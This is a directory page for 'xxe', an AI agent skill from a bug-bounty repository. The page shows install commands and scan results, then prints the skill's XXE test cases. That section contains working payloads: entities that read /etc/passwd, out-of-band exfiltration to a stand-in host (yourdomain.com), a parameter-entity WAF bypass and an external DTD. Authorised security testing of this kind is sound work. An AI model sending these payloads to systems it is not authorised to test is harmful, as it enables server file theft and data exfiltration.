xxe

xxe is a skill for Claude Code, Codex from sanjaysaini1952/BugBounty-Arsenal. It costs 0 tokens per session (563 once invoked), scanned A, original, MIT.

A web-security testing guide for XML external entity (XXE) flaws, where an XML parser may read local files or contact outside systems.

In plain words
What is it for?
It is for testing XML request bodies, SVG uploads, SOAP services, and DOCX or XLSX imports, including checks for out-of-band data leaks.
Why use it?
It helps check whether XML handling exposes server files, internal paths, or network access through crafted input.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit It is for testing XML request bodies, SVG uploads, SOAP services, and DOCX or XLSX imports, including checks for out-of-band data leaks.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/sanjaysaini1952/bugbounty-arsenal/xxe
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add sanjaysaini1952/BugBounty-Arsenal --skill xxe
Clone the repo
git clone --depth 1 https://github.com/sanjaysaini1952/BugBounty-Arsenal

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for xxe

README.md
[![agentmods](https://agentmods.dev/badge/skills/sanjaysaini1952/bugbounty-arsenal/xxe/github.svg)](https://agentmods.dev/skills/sanjaysaini1952/bugbounty-arsenal/xxe)
Your own site
<a href="https://agentmods.dev/skills/sanjaysaini1952/bugbounty-arsenal/xxe"><img src="https://agentmods.dev/badge/skills/sanjaysaini1952/bugbounty-arsenal/xxe/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for xxe

Your own site · 80×15
<a href="https://agentmods.dev/skills/sanjaysaini1952/bugbounty-arsenal/xxe"><img src="https://agentmods.dev/badge/skills/sanjaysaini1952/bugbounty-arsenal/xxe.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 0 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 563 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00000 $0.00563
Opus 5 $0.00000 $0.00282
Sonnet 5 $0.00000 $0.00113
Haiku 4.5 $0.00000 $0.00056

Measured 11d ago against content hash 24a71d945ca5, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

xxe scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/hunting/xxe/SKILL.md · 53 lines

What it actually says

XXE Hunting Skill — 6 Test Cases

Load when: XXE, XML external entity, XML injection, out-of-band data exfiltration.

120. Basic XXE file read (easy)

Send <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo> in XML body. Report if /etc/passwd is returned.

121. Blind XXE via error messages (medium)

Send <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///nonexistent">]><foo>&xxe;</foo>. Report if error message reveals internal path.

122. Blind XXE via OOB exfiltration (hard)

Send <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://yourdomain.com/?data=FILE">]><foo>&xxe;</foo> where FILE is /etc/passwd. Check DNS/HTTP logs.

123. XXE in SVG upload (medium)

Upload SVG with <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><svg>&xxe;</svg>. Check if rasterizer processes entities.

124. XXE in SOAP endpoints (easy)

Send XXE payload in SOAP XML body. SOAP is often vulnerable because XML parsing is enabled.

125. XXE in DOCX/XLSX import (medium)

Craft DOCX or XLSX with embedded XXE. Upload to import functionality. Report if entities are processed.


XXE Payload Reference

<!-- Basic file read -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

<!-- Blind OOB -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://yourdomain.com/?data=FILE">]>
<foo>&xxe;</foo>

<!-- Parameter entity (for WAF bypass) -->
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://yourdomain.com/xxe.dtd">%xxe;]>

<!-- XXE DTD (hosted externally) -->
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param "<!ENTITY exfil SYSTEM 'http://yourdomain.com/?d=%data;'>">
%param;
%exfil;

Exfiltration Methods

Method Use Case
In-band Data returned in response
OOB via HTTP Data sent to attacker URL
OOB via DNS Data sent via DNS subdomain
Error-based Data in error messages
Blind via timing Data inferred by response time
Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 11d ago First seen · 53 lines · 0 tokens per session scan A 24a71d945ca5

Subscribe to this mod's changes

xxe is a skill published in the GitHub repository sanjaysaini1952/BugBounty-Arsenal (2 stars, last pushed 1mo ago), licensed MIT. It costs nothing until one of its globs matches a file; then it loads 563 tokens. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

Other skills, from other repositories

systematic-debugging

Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.

obra/superpowers · 21 tokens

local-ai-agents

Build local-first AI agents that run entirely on a developer workstation with Microsoft Foundry Local and Qwen function-calling models. Covers Small Language Models (SLMs), the OpenAI-compatible local endpoint, sandboxed local tools, local RAG with Chroma, local MCP servers, hybrid cloud/local routing, and the…

microsoft/ai-agents-for-beginners · 200 tokens

next-cache-components-adoption

Turn on Cache Components in a Next.js app and resolve the blocking routes it surfaces. Use when the user wants to enable, adopt, or migrate to Cache Components, flip the cacheComponents flag, work through a flood of blocking-prerender / instant validation errors, run the cache-components-instant-false codemod, or…

vercel/next.js · 95 tokens

insight-error-page

Write or audit an insight-kind error page for the Next.js dev overlay. Use when creating a new errors/ .mdx page, auditing an existing one, or checking that a page matches the framework fix cards. Covers page structure, title alignment, FixCard cards with Copy prompt button, code snippets, terminology verification…

vercel/next.js · 83 tokens

next-cache-components-optimizer

Drive a Next.js route to instant navigation by setting up an agentic loop, under Cache Components / PPR, on initial load (hard navigation) and client-side navigation (soft navigation). Encode the goal as a failing @next/playwright instant() e2e and work it to green, one verified route at a time; the shipped test then…

vercel/next.js · 170 tokens

next-partial-prefetching-adoption

Turn on Partial Prefetching in a Next.js app and work through the insights it surfaces. Use when the user wants to enable or adopt Partial Prefetching, flip the partialPrefetching flag, opt routes in with export const prefetch = 'partial', audit Link prefetch={true} behavior, preserve existing prefetched UI with…

vercel/next.js · 103 tokens